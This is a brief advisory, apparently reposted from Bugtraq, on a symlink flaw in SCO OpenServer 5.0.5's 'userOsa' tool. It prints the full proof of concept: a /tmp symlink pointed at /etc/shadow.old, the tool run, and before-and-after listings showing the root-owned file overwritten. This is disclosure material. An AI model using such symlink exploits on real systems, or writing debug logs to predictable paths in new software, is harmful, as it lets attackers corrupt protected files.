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SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

As per Brock Tellier's original posting to Bugtraq:



scohack:/tmp$ ln -s /etc/shadow.old debug.log
scohack:/tmp$ /etc/sysadm.d/bin/userOsa
bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$

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BEFORE EXPLOIT:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old

AFTER EXPLOIT (note the file size):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old

scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
<<<
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect Request: bah}}})

scohack:/#